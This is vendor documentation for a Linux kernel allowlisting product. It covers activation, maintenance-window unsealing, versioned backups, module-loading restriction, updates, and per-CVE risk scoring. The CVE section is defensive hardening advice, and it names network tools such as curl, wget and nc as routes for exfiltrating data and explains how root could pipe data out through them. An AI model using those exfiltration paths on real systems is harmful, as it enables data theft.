Dashboard

The Dashboard shows subscription status when it requires attention — an expired or missing subscription appears as a warning with a direct link to the upgrade page. A valid, active subscription is not displayed separately; the absence of a warning confirms that the subscription is in good standing. Lockdown stays locked until the subscription on this host is active.

Activate on this host

After downloading the subscription file, copy it to each server it covers. Regardless of the original filename, it must be copied as HS_license.txt in the /.hs/sys directory. That on-disk name, and the registrar register_HS_license below, are filenames — not the product word “license.”

# sudo cp MyCompany_HS_license.txt /.hs/sys/HS_license.txt

Register it using register_HS_license. The command requires the IP address of the Root Lock Activation Server and the port number (6121). Run the following command, replacing <ip> with the address from your activation email:

# sudo /.hs/sys/register_HS_license <ip> 6121

If activation is successful, the program creates an activation key and displays a confirmation message. If an error occurs, an error message is displayed. You need to activate each server only once.

With your subscription active and the prior checklist items complete, proceed to Lockdown to activate Lockdown.

Root Lock kernel source code (GPL)

The Root Lock kernel ships as binaries in your coordinated install bundle. Corresponding kernel source is available on written GPL request — not via a public repository. Email support@heartsecsuite.com with uname -r, your HeartSuite product version, and bundle checksum reference if known. Full process and verification alternatives: Supply Chain and Advisory Feeds → Root Lock kernel source code (GPL).

For procurement and CISO details on how the subscription covers the kernel (risk transfer, SLAs, verification artifacts) in the context of enterprise adoption, see Kernel Hardening → Enterprise Adoption Guide.

11 - Every maintenance window is an attack window

Overview: Every maintenance window is an attack window. In Setup Mode the kernel logs but stops blocking. On the maintenance kernel, Root Lock by HeartSuite is not loaded at all.

These guides cover how to make changes without leaving a hole an attacker can use. The Dashboard shows the current protection state — including Lockdown status — and the Suggested Next Step throughout maintenance.

Maintenance is a time period during which you temporarily step out of Lockdown to make changes. It is not a separate mode. Root Lock has two modes: Setup Mode and Lockdown.

During maintenance you either switch to Setup Mode (the kernel logs but stops blocking) or boot the maintenance kernel (Root Lock is not loaded). The Dashboard’s Maintenance ([m]) detects whether the immutable seal is active and opens the matching path.

Installing packages, applying patches, and editing configuration happen in Setup Mode once the window is open — that is where blocking is off and logging stays on. After the first Lockdown, opening that window takes a console GRUB pick: Maintenance: unseal and return to Root Lock. The seal lifts automatically and you land back in Setup Mode on the Root Lock kernel. A one-reboot switch with no GRUB is only when the strip already says Lockdown not applied.

• Seal not applied. Type YES and reboot once. You stay on the Root Lock kernel in Setup Mode. No GRUB pick.
• Seal applied (the usual path after the first Lockdown). Physical or serial console is required. Reboot and select Maintenance: unseal and return to Root Lock. That is two reboots before you can install software or edit sealed files.

The Maintenance grid button is shown in Lockdown. Keyboard [m] also works in Setup Mode after you have unsealed.

Which change is this?

Installing packages, replacing program files, and updating Root Lock itself are different jobs, and they take different paths out of Lockdown.

In this section

• Protecting During Maintenance — Console unseal after Lockdown, then install software or edit files in Setup Mode. Ansible can run after the window is open; it cannot lift the seal.
• File Backup and Versioning — Automatic versioned backups on the Root Lock kernel. Under Lockdown the kernel is intended to keep other programs off those versions. Restore any earlier version from Backup.
• Cache Adjustment — The allowlist cache is an LRU window the Dashboard expands for you. Manual sizing is optional.
• Restricting Kernel Module Loading — Narrow kmod’s file access before Lockdown. Seal prep can auto-narrow directory grants under /lib/modules.
• Updating Root Lock — Unseal if Lockdown is applied, then run the bundle from a terminal in Setup Mode. Type YES for one stock boot. The default stays Root Lock.

11.1 - Keep a gate up while you change the system

Overview: Every maintenance window is an attack window — blocking is temporarily suspended, and anything an attacker can reach during that period is unprotected.

Maintenance is the period when you temporarily reduce Root Lock by HeartSuite’s protection to install packages or edit files. The Dashboard’s Maintenance ([m]) guides you from the safety checklist through re-engaging Lockdown. Replacing the Root Lock kernel is a different path: Updating Root Lock.

After Lockdown, the path is the console. You select Maintenance: unseal and return to Root Lock at the boot menu. The seal lifts automatically, and the machine returns to the Root Lock kernel in Setup Mode. You do not stay on the maintenance kernel to remove flags by hand.

A one-reboot switch that stays on the Root Lock kernel applies only when the strip already says Lockdown not applied — the seal is missing. That is not the usual path after a completed Lockdown.

Starting maintenance

From the Dashboard in Lockdown, select Maintenance ([m]). The Dashboard detects whether the immutable seal is active and presents the correct path.

Safety checklist

Before any mode change, Maintenance presents a safety checklist. The Dashboard auto-detects system state where possible and shows the status of each item:

• Network isolation — disable network interfaces or restrict firewall rules to prevent remote access during maintenance
• Server processes — shut down daemons (e.g., web servers) to close attack vectors
• SSH access — no root login, key-based auth only, source IP restriction

The Dashboard shows green checkmarks for items that pass and amber warnings for items that need attention. Press [c] Confirmed to proceed or [s] Skip to continue without completing the checklist. If you skip, the Dashboard displays a persistent reminder throughout the maintenance period — it does not disappear until you re-engage Lockdown.

The safety checklist matters most when you are about to lift the seal. While you are in Setup Mode with the Root Lock kernel still loaded, logging and backups continue.

After Lockdown: unseal from the console

This is the path when Lockdown is applied. Physical or serial-console access is required (keyboard and monitor, a serial port, or your cloud provider’s serial console — AWS EC2 Serial Console, GCP Serial Console, Azure Serial Console, DigitalOcean Console). Confirm that access before you start. You cannot do this from SSH.

After the safety checklist, Maintenance tells you to reboot from the console. It does not offer [r] Reboot on this path — the boot-menu choice has to happen at the console.

1. Open the console and restart the machine there.
2. At the boot menu, select Maintenance: unseal and return to Root Lock. Do not select the branded Root Lock kernel.
3. The seal lifts automatically (HS_unlock.sh). The machine restarts on its own and returns to the Root Lock kernel in Setup Mode.
4. On the serial console, press Enter when you see Press Enter to start. (see Lockdown).

The boot menu appears a second time during that automatic return. Let it be: reboot is already in motion and there is nothing to select.

You are then in Setup Mode on the Root Lock kernel:

• Blocking is off; logging and backups are on.
• New activity appears in the review queues.
• Maintenance ([m]) is hidden — you can already install software and edit files.

Make your changes — install packages and edit configuration. When finished, lock down again from Lockdown ([l]). Review and approve the new queue items before you type YES. The activation flow is in Lockdown.

To replace Root Lock itself, do not wait on this kernel for the bundle. From a terminal in this Setup Mode window run bash heartsuite-install.sh and type YES. See Updating Root Lock.

If you accidentally select the Root Lock kernel at the first boot menu instead of the Maintenance entry, the Dashboard detects that and sends you back to reboot and select the correct entry.

When the seal is not applied

If the strip says Lockdown not applied, Maintenance offers a switch to Setup Mode that stays on the Root Lock kernel. Type YES (case-sensitive). The Dashboard then offers [r] Reboot.

After that reboot:

• Root Lock switches from blocking to logging only
• The Root Lock kernel remains active
• Backups continue running
• The existing allowlist is preserved
• New activity is logged, not blocked — it will appear in the review queues when you lock down again

This path is for an unfinished or drifted seal, not for a host that already shows Lockdown applied.

After the window is open

Once you are in Setup Mode, SSH and Ansible can install packages and edit files on that host. The console trip is only to lift the seal.

• One host, many services. One unseal covers every program on that machine.
• Many hosts already in Lockdown. Ansible cannot lift the seal. The official heartsecurity.root_lock role leaves mode unchanged when hs_state is unset or setup. In-place patches still need the console path on each sealed host. For a fleet, reprovision from an updated image instead — see Enterprise Adoption Guide and Central Policy.
• Detaching the disk. Stopping a cloud VM and attaching its volume to another instance is hypervisor access, not a supported patch procedure. Treat it as the same class as serial-console access: break-glass, and restrict it in cloud IAM. See Circumvention and recovery.

What to install

The maintenance window is how you add new software after Lockdown. Install the packages you will keep. Compilers and package-install helpers that executed only for this window do not belong on the allowlist unless they must stay on the host — do not approve them. See Allowlisting Basics.

When the change is done, review the new queue items, then lock down again from Lockdown ([l]). Do not leave the host in Setup Mode to install tools you will not keep.

Manual recovery outside Maintenance

When Lockdown makes files immutable using chattr +i, those flags are stored at the filesystem level and persist across reboots — including a reboot that reaches the maintenance kernel.

If you attempt to modify a file that was made immutable during a previous Lockdown session, you will encounter an error such as “could not open file; errno:1.”

The console Maintenance entry runs HS_unlock.sh for you. For recovery outside the Dashboard, run HS_unlock.sh.

11.2 - Backups that ransomware cannot delete

Overview: Allowlisting controls what programs can execute, but an approved program that malware takes over can still write files. Ransomware running inside an approved process can encrypt whatever that process can reach.

Modern ransomware targets backup systems first — shadow copies and backup agents are typically deleted before files are encrypted.

Root Lock by HeartSuite creates a versioned backup every time a file in a protected directory is written. Versioning runs on the Root Lock kernel in both Setup Mode and Lockdown. Backup is a recovery store, not a prevention control: it does not stop the first write.

Delayed activation does not change that rule. A malicious sleeper is an approved program that behaves as expected for a long time, then encrypts or overwrites files it is already allowed to write. Root Lock still versions every write in a directory you selected on Backup ([b]). The default is /home.

HeartSuite Joint File System (HJFS) versions every program data file with no directory list. See The malicious sleeper attack.

Under Lockdown, the kernel keeps other programs — including malware running as root — off those backup versions. That gate is absent on the maintenance kernel. Changing which directories are protected requires a maintenance window.

Automatic versioning

Root Lock monitors the protected directories you select. When any file in those directories (including subdirectories) is written, Root Lock creates a new versioned backup before the write completes. Versioning begins from first boot, before you have reviewed a single item.

Enterprise backup tools back up on a schedule — hourly, nightly, weekly. An attack that completes between backup windows has nothing to recover from.

Root Lock backs up on every write. There is no window.

Other security tools that offer rollback on Linux — including endpoint tools with a rollback feature — rely on volume shadow copies or scheduled snapshots. The same gap exists: an attack that completes between snapshot intervals has nothing to recover from.

CVE-2024-40711 — Veeam Backup & Replication, unauthenticated RCE — shows the sharper problem: the backup tool itself is the target. An attacker who reaches a Veeam host can execute code without authentication, destroy backups, then encrypt production files. Root Lock’s backups have no running agent to exploit.

By default, /home is configured for backup. You can add or remove directories from the Dashboard’s Backup.

Configuring protected directories

From the Dashboard, select Backup ([b]). Backup has two tabs: Configure and Restore. Configure shows which directories are protected and when they were last versioned.

From Configure you can:

• Add a directory ([a]) — protect additional directories (for example /var/www, /etc, /usr/lib)
• Remove from backup ([r]) — stop backing up a directory. Existing versions are retained until the retention window expires.

[n] on Backup is Cancel, not add.

Recommended directories include those containing user documents, executable files, configuration, and shared libraries. Avoid high-churn directories like log directories — backup creates a new version on every write.

Backup is optional. You can remove all directories, disabling backup entirely. Lockdown does not require backup to be configured.

Restoring file versions

If a file is compromised — for example, encrypted by ransomware — Backup lets you browse version history and restore any previous version of any file in a protected directory. On the Restore tab:

• File-first ([f]) — navigate by directory and file, then view versions of the selected file
• Timeline ([t]) — navigate by date, showing all files modified on a given day

To restore a single file, select it and choose the version to restore. Each version shows its timestamp and file size.

For ransomware recovery where many files were modified on the same date, use Timeline ([t]), press [d] to filter by date, review the affected files, and press [b] to batch restore all of them in one operation.

Lockdown and backup

When Lockdown is active, the backup configuration file is sealed — no user or program, including root, can add or remove directories. This prevents an attacker who compromises a running process from silently disabling backup. To change the backup configuration, enter a maintenance period first (see Protecting During Maintenance).

Backup encryption

Root Lock backup files are versioned filesystem copies. They are not encrypted by Root Lock. If your environment requires data-at-rest encryption — for example, to meet GDPR, HIPAA, or PCI DSS requirements — configure full-disk encryption (dm-crypt/LUKS) at the OS level. LUKS encryption covers the backup files automatically, since they reside on the same filesystem as the rest of the host.

CLI access for scripting and automation

For scripting and automation that runs without the Dashboard:

# hs-backup-config-manager list
# hs-backup-config-manager add -d /var/www
# hs-backup-config-manager del -d /home
# hs-version-manager list /home/user/document.txt
# hs-version-manager replace /home/user/document.txt <token>

The Dashboard is the supported path for normal use.

11.3 - When 255 allowlist slots is not enough

Overview: Root Lock by HeartSuite caches allowlist entries in kernel memory for lookup speed. The cache is an LRU window, not a limit on how many programs you may approve. The Dashboard expands that window toward your allowlist size, up to 255 entries. Allowlists larger than 255 stay valid; the kernel evicts the least recently used cache slots.

Manual sizing is optional. You do not have to prune the allowlist when it grows past 255.

Automatic cache expansion

On startup and every state refresh, the Dashboard compares the size of your allowlist against the current kernel cache size. If the allowlist is larger, the Dashboard silently expands the cache — up to 255 entries. The minimum cache size is 10.

This runs in the background on the Dashboard’s normal 60-second refresh cycle. You do not need to invoke a CLI tool or change a setting.

When the allowlist is larger than 255

Auto-expansion stops at 255. The extra allowlist entries remain in force; they are not refused. The kernel keeps the most recently used 255 in the cache.

Pruning unused programs in Allowed ([a]) is hygiene, not a hard stop. After you remove entries, the next Dashboard refresh can shrink the working set the cache has to hold.

There is no Dashboard warning of the form “Allowlist has 312 entries but kernel cache max is 255.”

CLI access for scripting and automation

For scripting and automation that runs without the Dashboard, set the cache to a size between 10 and 255 with the on-disk tool:

# /.hs/sys/hs-APO-cache-size 128

Docs and older notes may say hs-cache-size. That is the glossary name; the binary on disk is hs-APO-cache-size.

The Dashboard is the supported path for normal use.

11.4 - Stop kmod from loading just any module

Overview: Root Lock by HeartSuite does not load kernel modules through a separate init_module gate. What kmod may load is what it may read. If kmod, modprobe, or insmod can execute and can read a .ko file, that module can be loaded.

If your hardware requires kmod at startup to load device drivers or filesystem modules, kmod must have an allowlist entry. Restrict that entry’s file access to only the specific modules it needs before engaging Lockdown. An allowlisted kmod with unrestricted file access can load any module on the machine.

When no extra work is needed

If kmod, modprobe, and insmod have no allowlist entries, Lockdown refuses to execute them. You can skip the rest of this page.

When kmod is allowlisted

Some hardware configurations require kmod at startup to dynamically load drivers or filesystem modules the system needs to boot. Once kmod has an allowlist entry, it can execute — and without further restriction, kmod’s file access permissions determine which modules it can load.

The hardening step is to narrow those file access permissions to the specific module paths kmod legitimately needs. If kmod tries to load a module outside its permitted paths, Root Lock denies the file access in Lockdown before the module can be read.

An allowlisted kmod with directory-level read under /lib/modules can open module files that were never observed during Setup Mode.

Narrow file access before Lockdown

Do this before you type YES on Lockdown. Once Lockdown is active, allowlist entries are sealed. Changing them takes a maintenance window.

When kmod’s startup activity appears in the File Access queue ([f]) during Setup Mode, approve individual .ko paths rather than directory-level access. Approving a directory grants read access to everything under it — including modules not present during observation.

If directory grants under /lib/modules are still present when you open Lockdown ([l]), seal prep auto-narrows them. That panel is an advisory, not a YES gate. [m] on that panel undoes the narrowing — it is not Maintenance. Under Lockdown the same inventory is read-only.

Leftover grants after auto-narrow belong in Allowed ([a]) or File Access ([f]), not a CLI as the normal path.

After narrowing, reboot and confirm the machine starts with no unexpected kmod denials in the review queues. Then activate Lockdown ([l]).

What stays sealed after Lockdown

After Lockdown engages:

• Allowlist entries are sealed — kmod’s entry cannot be modified while Lockdown is active.
• Startup scripts are sealed — system-wide shell configuration, systemd unit directories, and cron. Attackers cannot insert scripts that would run before Lockdown re-engages on the next boot and expand kmod’s permissions.

Lockdown does not independently refuse init_module. The restriction is the program allowlist plus file access on module paths.

Per-user shell profile coverage

Lockdown seals system-wide shell configuration — /etc/profile, environment defaults, and cron — preventing an attacker from planting scripts that run at the next boot and expand kmod’s permissions before Lockdown re-engages. Per-user profile files (~/.bash_profile, ~/.bash_login, ~/.profile, ~/.bashrc, ~/.inputrc) are not covered automatically because the correct set depends on your user configuration.

If specific user accounts need that coverage, enable the commented-out entries for those users in HS_lockdown.sh before engaging Lockdown.

11.5 - Apply an update without dropping Lockdown blindly

Overview: A Root Lock by HeartSuite update is delivered as a single self-extracting bundle (heartsuite-install.sh) that replaces the kernel and its userspace tools in one operation.

What an update changes

• The Root Lock kernel
• HeartSuite userspace tools (activate_HS, lockdown_HS, Secure Script Launchers, setup scripts)
• The Dashboard files under /opt/heartsuite/
• GRUB configuration, so the new kernel becomes the default boot target

It does not wipe user data, existing allowlist entries, or backup files. A complete overwrite still re-runs first-run setup (extra reboots) before the Dashboard returns. After the new kernel is up, new programs appear in the review queues for you to approve.

Why the update needs a stock boot

The installer will not overwrite Root Lock while that kernel is booted. It checks uname -r. Setup Mode is still the Root Lock kernel. You can copy the bundle there, and you can install packages and edit configuration there.

You can also start bash heartsuite-install.sh there from a terminal. The installer asks you to type YES (case-sensitive). That sets the next boot only to the original distro kernel (stock) or Maintenance, keeps Root Lock as the default, and continues the update after that boot. You do not pick a menu entry, and you do not run the installer a second time.

If the session is not a terminal — for example curl … | sudo bash — the installer prints a one-shot command such as grub-reboot '…' && reboot for this machine instead of asking YES. Copy that command; do not invent a number. After that boot, run bash heartsuite-install.sh again. If the installer cannot name an entry, it tells you to open the console and choose stock or Maintenance at the boot menu.

The first-install command curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh | sudo bash is for a host that does not yet have Root Lock. On a host already running the Root Lock kernel it downloads the bundle and then follows the non-terminal path above.

If Lockdown is applied (the strip says Lockdown applied), unseal first. The installer cannot set the next boot while /boot is sealed.

• Already in Setup Mode on the Root Lock kernel. Skip Unseal. Place the bundle, verify the checksum, and run bash heartsuite-install.sh from a terminal. Type YES.
• Already on the original distro kernel or the maintenance kernel, and the strip does not say Lockdown applied. Skip Unseal and skip YES. Run the installer.
• On the maintenance kernel but the strip still says Lockdown applied. The immutable flags are still on the files. Unseal first.

On the stock or maintenance boot, Root Lock is not loaded: it does not block programs, does not log, and does not take backups. Choose a time when that gap is acceptable.

Before you begin

• Unseal first if Lockdown is applied. From the Dashboard, open Maintenance ([m]) and follow the sealed path in Protecting During Maintenance. You must land in Setup Mode before the installer can set the next boot.
• Verify the bundle. Compare the SHA-256 of heartsuite-install.sh against the published checksum before running it.
• Physical or serial-console access if the installer cannot name a boot entry, and for recovery if the new kernel does not boot. You do not need the console only because you are in Setup Mode.

Update procedure

1. Place heartsuite-install.sh and heartsuite-install.sh.sha256 on the system, typically by scp into /root/. In Setup Mode that copy is allowed. Under Lockdown it may be denied — unseal first.

2. If Lockdown is applied, open Maintenance ([m]) and complete the unseal path. You should be in Setup Mode on the Root Lock kernel before the next step.

3. Verify integrity:

   sha256sum -c heartsuite-install.sh.sha256
   

   Expected output: heartsuite-install.sh: OK

4. Log in as root over SSH or the serial console (AWS EC2 Serial Console, Linode LISH, Hetzner, and others). On failure, inspect /var/log/heartsuite/install.log on the serial console.

5. Run the installer from that terminal:

   bash heartsuite-install.sh
   

6. If uname -r still names a Root Lock release, type YES when asked. The machine takes one stock or Maintenance boot and the installer continues from disk. The default stays Root Lock. If you are already off the Root Lock kernel, there is no YES step.

7. The installer applies the update and, by default, reboots into the new Root Lock kernel. You land in Setup Mode.

8. If new programs appear, they show in the review queues. Approve them through the Dashboard, then re-engage Lockdown ([l]) if it was active before the update.

Many hosts

The in-place bundle is per host. After Lockdown, each sealed host still unseals from the console before the installer can set the next boot — /boot is sealed.

For many locked hosts, reprovision from an updated pre-configured image instead of running the bundle on each live machine. That path is equivalent for support when the image contains a published bundle. See Kernel Support Policy and Enterprise Adoption Guide.

If the update fails

If the new Root Lock kernel does not boot, select the previous kernel from the GRUB menu. Physical or serial-console access is required for this step.

Both the previous Root Lock kernel and the maintenance kernel remain available as recovery entries. Contact HeartSuite support at support@heartsecsuite.com and include the contents of /var/log/heartsuite/install.log in your message — we’re happy to help you recover.

12 - Blocked, wrong kernel, or silent fail?

Overview: When something stops working under Lockdown, the cause is usually a missing allowlist entry, a different mode or kernel than expected (Setup Mode vs Lockdown, immutable seal, or the maintenance kernel), or a kernel issue.

Root Lock by HeartSuite shows which one on the Dashboard. The indicator at the top shows the current protection state, and the Suggested Next Step tells you what to do.

Installer and Dashboard logs live under /var/log/heartsuite/. Use the provider serial console to cat them. AWS Get system log is a buffered serial snapshot — it is not CloudWatch. CloudWatch, Cloud Logging, and Log Analytics need the platform logging agent plus IAM; Root Lock does not install that agent. Paths and the three cloud surfaces are listed in Appendices → Log files.

Where to start

The Dashboard is the primary diagnostic tool. Before checking log files, review:

• Protection state (indicator at the top): Confirms the current protection level. If it shows “SETUP MODE”, “LOCKDOWN — immutable seal not applied”, “Lockdown applied”, or “maintenance kernel”, you immediately know what protection level is active. “Lockdown applied” is Lockdown with the immutable seal.
• Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode with uptime, and lockdown status.
• Pending/Denied counts: In Setup Mode, these are pending items awaiting approval. In Lockdown, these are denied actions that may need allowlisting.
• Suggested Next Step: Provides a single, actionable recommendation based on the current system state.

Log management

Root Lock logs activity and presents it through the Dashboard’s three review queues: Programs ([p]), File Access ([f]), and Internet Access ([i]). The Dashboard shows pending counts for each queue and groups items by category, so you always know what needs attention. The Maintenance ([m]) provides guided workflows for common maintenance tasks.

The review queues are how you see and resolve what needs attention. The underlying activity log is a temporary buffer — once all three review queues are empty and Secure Script Launchers is not still pending, the Dashboard automatically clears the log on its next refresh. No manual action is required.

For compliance, SIEM integration, or long-term retention, enable Syslog on Alert Settings → Fleet. Denial lines and aggregated alerts then go to the journal under ident heartsuite (alert lines use the message prefix heartsuite-alert:). Approvals are in /var/log/heartsuite/allowlist-audit.log. See SIEM and Fleet Integration. Formal compliance evidence is covered in the SOC 2 and compliance reference documents.

Allow several days to a week of observation in Setup Mode. Systemd timers, cron jobs, and infrequent services appear in the review queues only when they run — the review queues accumulate these automatically.

Kernel log

The Dashboard’s review queues automatically collect entries from both the Root Lock activity log and the kernel log. During normal operation, you do not need to read dmesg directly.

The kernel log is useful for advanced troubleshooting in three situations: a program fails but the Dashboard shows zero pending or denied items for it; the Root Lock activity log has been cleared or rotated; or you need to correlate Root Lock entries with other kernel messages:

dmesg | grep HEARTSUITE

The Dashboard presents the same information with metadata enrichment and grouping. The Dashboard runs on the Root Lock kernel. On the maintenance kernel the TUI is Maintenance standalone, not the Dashboard; the strip reads maintenance kernel: Root Lock not active No blocking · No logging · No backups. Express return is meant to get you off that kernel quickly.

Nested virtual machines without hardware virtualization

The Local Path command is the same on a physical host and on a full VM. If you created a virtual machine inside a VPS or cloud guest that has no /dev/kvm, the installer stops at the start. Install Root Lock on the outer machine, or use a host that provides hardware virtualization. See Bare metal, virtual machines, and nested VMs.

Reporting issues

If you encounter a product bug, email support@heartsecsuite.com with your Root Lock version, kernel version (uname -r), the protection state shown at the top of your Dashboard, and steps to reproduce. For documentation issues, use heartsuite-docs issues. For security vulnerabilities, email support@heartsecsuite.com — do not use public issue trackers.

13 - Does this replace EDR? And other FAQs

General

Installation

Allowlisting

Modes and security

Troubleshooting

For support email support@heartsecsuite.com.

14 - Kernel Security Transparency

Overview: Every kernel CVE relevant to Root Lock — what it can do, what it cannot, and why.

The Score on Root Lock column is a CVSS v3.1 Environmental Score for a Root Lock deployment: the risk on this kernel, not the theoretical worst case.

Where the attack surface is absent — hardware not present, trigger not installed, feature not compiled in — the score is 0.0 regardless of Base Score. Where the code path is reachable, Lockdown bounds new execution and sealed-allowlist writes; residual scores stay non-zero.

Scores use CR=M, IR=M, AR=M with no Temporal adjustments.

• Compiled-in CVEs — per-CVE write-ups and the full score table
• Disabled features — compiled-out groups and config gates

CVE Status

Which kernel these scores apply to

Scores apply to the Root Lock kernel: 5.19.6-HeartSuite and 6.18. Compiled-out rows (BPF, FUSE, and similar gates) are the product claim. Where the two lines differ, the entry states both.

Score on Root Lock is a product-specific environmental figure. Compiled-out maps to VEX-style Not Affected. Reachable + Lockdown bounds maps to Affected, mitigated.

What malware can and cannot do on this system

Blocked

• Persistence across reboot. No service, cron job, init script running new code, or kernel module added by the attacker survives a reboot. The allowlist is populated only at boot from your authorized sources; any in-memory tampering is wiped on the next boot.

Supply-chain compromise: contained, not prevented. If malware arrives inside a trusted update, Root Lock does not block it from running — it was authorized. What Root Lock does enforce is the blast radius. The malware cannot launch processes outside the allowlist, cannot reach unallowlisted network destinations, and cannot install additional code. A compromised supplier gets one program slot, not the system.

• New program execution. The kernel refuses to run any program not in the Lockdown allowlist, regardless of root privilege. Backdoors, custom exploit tools, droppers, and post-exploitation frameworks cannot run.
• Kernel module loading post-boot. On Debian 12, modprobe and insmod are symlinks to kmod, which is added to the allowlist during standard Setup Mode via systemd-modules-load.service. Lockdown’s file-access enforcement denies kmod access to /usr/lib/modprobe.d/ by default — module loading fails at the file-read stage before any module can be loaded. Module-based rootkits cannot be installed.
• Allowlist modification at runtime. The runtime allowlist lives in kernel memory and is not modifiable post-boot. The on-disk allowlist file is chattr +i immutable; Lockdown blocks FS_IOC_SETFLAGS so root cannot strip the immutable flag.
• Mounting new filesystems. Lockdown blocks mount(), fsmount(), and move_mount() after boot. Bind-mounts and remounts to shadow allowlisted paths are refused.

Bounded by allowlist composition

• Data exfiltration. Reading data is not constrained — root with kernel-context primitives can read any file. Sending data off-host is bounded by which networked utilities are in your allowlist. Deployments with no outbound networking utilities allowlisted have no in-band exfiltration path.
• Service disruption. Root can panic the kernel via syscall primitives or kill -9 allowlisted services. Availability hardening is a separate control; Root Lock does not prevent denial-of-service.
• Lateral movement. Attackers can pivot through whatever the allowlisted process tree permits, but cannot extend that tree. New processes outside the allowlist do not run.

Under Lockdown the kernel decides, per program, whether it can run, which files it can read or write, and which destinations it can reach. By design, remote root does not change that while the machine is running. The files are immutable. The kernel refuses the write. Recovery is the maintenance kernel via physical or serial-console access.

Out of scope

• Sensitive-data disclosure during the live session. A root attacker can read disk content while the session is active. Confidentiality during the breach is the role of disk encryption, not Lockdown.
• Hardware-level and pre-boot threats. Firmware compromise, baseboard management exploits, and physical attacks on the boot chain are outside the Root Lock attack surface.
• Misconfigured allowlists. If you allowlist tools you should not — modprobe, bpftool, networked exfiltration utilities — outcomes move from “Blocked” to “Bounded” and from “Bounded” to “Allowed.” See the deployment-tuning note.

Residuals (non-zero Score on Root Lock)

These compiled-in paths keep a live residual. Full write-ups: Compiled-in CVEs. Compiled-out groups: Disabled features.

How to read the backstop sections

Root Lock runs two independent kernel-level controls, and the per-CVE entries reference both. They are not peers in a list — one is load-bearing, one is defense-in-depth, and the distinction matters when reading residual risk:

• Lockdown (load-bearing). hs_sandbox_caching.c enforces the SPF allowlist on every execve. This check runs unconditionally — it is not gated by HS_lockdown_state — so it continues to refuse non-allowlisted programs even if an attacker with arbitrary kernel write clears Lockdown. The only Lockdown-conditional behavior in this file is an additional log-file write block; the allowlist match itself is independent.
• Lockdown (defense-in-depth). sys_hs_lockdown_hs() sets HS_lockdown_state = 7. While that atomic is nonzero, kernel/ioctl.c:561,568 returns EPERM on FS_IOC_GETFLAGS/FS_IOC_SETFLAGS (closing the chattr -i path that would otherwise let root strip immutability from the allowlist file), and kernel/namespace.c:4218,4300,4453 returns EPERM on all mount paths. There are five HS_locked_down() check sites total in the kernel — none in fs/ or net/ — so Lockdown is an API-gate layer, not an in-line corruption boundary.

The load-bearing control against persistence and lateral expansion is Lockdown’s allowlist. Even in the worst case where an attacker chains a kernel UAF into arbitrary write and clears HS_lockdown_state, they still cannot run new programs, modify the allowlist, install backdoors, or survive a reboot, because the allowlist check is not on the same state machine. They regain only the ability to mount filesystems and set immutable flags — meaningful but bounded.

Per-CVE entries on Compiled-in CVEs name the bug, then state which of these two layers limits its post-exploitation impact and how.

Why this is unusual

Most kernel hardening tools gate enforcement on a single state variable that an attacker with arbitrary kernel write can clear in one instruction. Root Lock does not work that way. Lockdown’s allowlist is consulted on every execve regardless of Lockdown’s state — there is no kill-switch an attacker can flip. Even in the worst case examined in this catalog, the system continues to refuse new code execution.

Note on Scores on Root Lock and deployment tuning

The Scores on Root Lock published in this catalog assume a worst-case allowlist composition — i.e., that your Lockdown allowlist contains common utilities including networked tools (curl, wget, ssh outbound, nc, python with sockets, etc.). Under that assumption, an attacker who reaches root via one of the Affected CVEs retains a confidentiality impact of HIGH (MC:H) because they can read sensitive data and pipe it out via an already-allowlisted networked utility. This is the conservative, deployment-agnostic floor.

If you run a tighter allowlist, you may legitimately credit a lower MC. Specifically:

• Allowlist contains zero outbound-networking utilities (no curl, wget, outbound ssh, nc, scripting languages with socket access, etc.): MC:L becomes defensible — the attacker can read on disk but has no in-band exfiltration path within Lockdown’s allowlist. Out-of-band (physical-console, side-channel) exfiltration remains possible; that’s why the credit is L, not N.
• Allowlist contains zero process-mutation utilities (no kill, pkill, init-system control surfaces beyond what Root Lock itself uses): MA:L becomes defensible for the disruption-via-userspace component, though kernel-level availability impact (panics, OOM via syscalls) is independent of allowlist composition and keeps MA:H for any CVE that grants kernel-context primitives.

These are deployment-specific reductions and are not baked into the published Scores on Root Lock. If you have hardened your allowlist accordingly, you can recompute your deployment-specific score by adjusting MC and/or MA in the modified vector. The published scores are correct for any deployment that has not affirmatively confirmed the tighter conditions above.

Note on Not-exploitable entries that depend on allowlist composition

Several Not-exploitable entries justify their 0.0 Score on Root Lock with phrasing of the form “X not in allowlist.” These claims are accurate for any Root Lock deployment built through the standard Setup Mode workflow, where the allowlist is populated from production service activity. Utilities not invoked during that workflow would not be added to the allowlist. Specifically, the following utilities should not be allowlisted on a production Root Lock deployment:

• modprobe, insmod / kmod — kernel module loading. On Debian 12, these resolve to kmod, which standard Setup Mode does allowlist; the protection is Lockdown’s file-access enforcement denying kmod access to /usr/lib/modprobe.d/. Granting kmod that access reverts CVE-2024-36883 (and any other module-loading-dependent CVE) to Affected.
• tc (iproute2 traffic control) — qdisc/filter manipulation. Allowlisting reverts CVE-2025-37914 / 37915 / 37923 / 22121 and other NET_SCHED CVEs to Affected.
• bpftool, trace-cmd, perf, debugfs/tracefs writers — kernel instrumentation. Allowlisting reverts the kprobe / tracing / perf CVE cluster (CVE-2024-38588 etc.) to Affected.
• dmsetup, raw block-device tools, cryptsetup mappings created post-boot — block-layer mutation. Same shape.
• ip xfrm, setkey, strongSwan, libreswan, or any IKE daemon — XFRM management. Allowlisting any of these enables XFRM security association setup, making esp_output reachable and reverting CVE-2026-43284 to Affected 8.8 HIGH.
• e4defrag or any extent-defragmentation tool — ext4 online defragmentation. Allowlisting reverts CVE-2024-26704 to Affected 7.8 HIGH.

If you run a development, debug, or instrumentation-heavy deployment and legitimately need any of the above, treat the corresponding Not-exploitable entries as Affected for your environment, and apply the standard Affected backstop logic (Lockdown’s allowlist still refuses unknown programs, but the now-allowlisted utility is itself the trigger). The “Not exploitable” classifications are correct for Root Lock deployments; they are not universal.

Scanner Guidance

When a scanner flags Root Lock for a CVE listed as Not Affected, the result is a version-string match: the scanner has identified a kernel version older than the upstream fix but has not evaluated whether the vulnerable code path is compiled in.

For the full verification workflow (maintenance-kernel exceptions, scanner configuration, audit evidence, and published OSV feeds), see CVE Hygiene for Scanners.

Share this section and the disabled-features catalog with your scanner vendor as the reference for any disputed CVE entry. For a configuration-level proof, confirm the config gate on the Root Lock host:

grep CONFIG_<GATE> /boot/config-$(uname -r)

Replace CONFIG_<GATE> with the config gate listed in the relevant section. An =n result confirms that gate is not compiled into the running kernel.

The Four Assessment Gates

